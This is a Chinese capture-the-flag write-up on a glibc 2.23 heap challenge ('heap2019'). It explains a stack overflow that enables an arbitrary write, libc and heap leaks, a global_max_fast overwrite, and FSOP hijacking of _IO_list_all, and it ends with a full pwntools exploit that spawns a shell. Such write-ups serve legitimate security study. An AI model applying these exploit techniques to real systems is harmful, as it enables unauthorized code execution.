0%

House Of Corrosion-2.23-64

heap2019

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et a
1
2
3
4
5
6
heap2019: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=309ab353df629cf952a87aeff73a7a39f23f2570, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 edit()
{
_QWORD buf[4]; // [rsp+0h] [rbp-30h] BYREF
_QWORD *magic; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("You cannot edit chunk but you can edit comment");
puts("Comment:");
read(0, buf, 40uLL); // 栈溢出
comment[0] = buf[0];
comment[1] = buf[1];
comment[2] = buf[2];
comment[3] = buf[3];
magicS = (__int64)magic;
*magic = 0xDEADBEEFLL;
puts("Edit OK");
return __readfsqword(0x28u) ^ canary;
}
  • 栈溢出导致 0xDEADBEEF 任意写

入侵思路

本题目的泄露很简单,可以轻松获取 heap_baselibc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)

dele(1)
dele(3)

add(0x400,"p"*8)
p.recvuntil("pppppppp")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xc30
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(heap_base))

add(0x400,"k"*8)
p.recvuntil("kkkkkkkk")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3c4b78
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

然后可以利用 0xDEADBEEF 任意写来覆盖 global_max_fast

这样做有两个好处:

  • 可以把大 chunk 放入 fastbin
  • 可以在 main_arena 中制造溢出(fast chunk 会根据自己的 size,来决定其 free chunk head 在 main_arena 中的偏移)

可以利用 main_arena 中的溢出来覆盖 _IO_list_all

1
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
  • 可以在 fastbinsY[NFASTBINS] 进行溢出

计算偏移:

1
2
3
4
5
6
pwndbg> p &main_arena 
$1 = (malloc_state *) 0x7f85c2d99b20 <main_arena>
pwndbg> p &_IO_list_all
$2 = (_IO_FILE_plus **) 0x7f85c2d9a520 <_IO_list_all>
pwndbg> distance 0x7f85c2d99b20 0x7f85c2d9a520
0x7f85c2d99b20->0x7f85c2d9a520 is 0xa00 bytes (0x140 words)
  • 先计算 main_arena_IO_list_all 之间的偏移
  • 把这个数值乘2就可以得到目标 size

伪造 FILE 结构体:

1
2
pwndbg> telescope 0x7f897d54e520
00:00000x7f897d54e520 (_IO_list_all) —▸ 0x563ec953d450 ◂— 0x0
  • 我们选择 vtable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p*(struct _IO_jump_t*)_IO_list_all.vtable 
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x0, // target
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
  • 可见第4片区域就是 __overflow 的虚表,我们可以劫持该虚表为“one_gadget”或者其他需要的函数

调用链为:malloc_printerr -> _IO_flush_all_lockp -> _IO_overflow(system)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './heap2019'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('172.31.0.116','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0xACC)\n")
pause()

def cmd(op):
p.sendlineafter("4.exit",str(op))

def add(size,content):
cmd(1)
p.sendlineafter("Content length:",str(size))
p.sendafter("Content:",content)

def edit(content):
cmd(2)
p.sendafter("Comment:",content)

def dele(id):
cmd(3)
p.sendlineafter("Content id:",str(id))

def show():
cmd(2019)

add(0x400,"a"*0x20)
show()

p.recvuntil("0x")
leak_addr = eval("0x"+p.recv(12))
pro_base = leak_addr - 0x202040
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)

bss_start = pro_base + 0x202020
chunk_list = pro_base + 0x202040
#edit("a"*0x20 + p64(bss_start))
success("chunk_list >> "+hex(chunk_list))

dele(1)
dele(3)

add(0x400,"p"*8)
p.recvuntil("pppppppp")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xc30
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(heap_base))

add(0x400,"k"*8)
p.recvuntil("kkkkkkkk")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3c4b78
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

global_max_fast = libc_base + 0x3c67f8
system_libc = libc_base + libc.sym["system"]
IO_list_all = libc_base + libc.sym["_IO_list_all"]
success("global_max_fast >> "+hex(global_max_fast))
success("system_libc >> "+hex(system_libc))
success("IO_list_all >> "+hex(IO_list_all))

one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadgets[3] + libc_base

dele(2)
dele(3)

fake_fsop_addr = heap_base + 0x1450
fake_vtable = fake_fsop_addr + 0xd8

fsop = "/bin/sh\x00"
fsop += p64(0)*2 + p64(1)
fsop = fsop.ljust(0xc8, b'\x00')
fsop += p64(fake_vtable)
fsop += p64(0)*2 + p64(one_gadget)
add(0x1400, fsop)

edit("b"*0x20+p64(global_max_fast))
dele(2)

#debug()

cmd(1)
p.sendlineafter("Content length:",str(0x100))

p.interactive()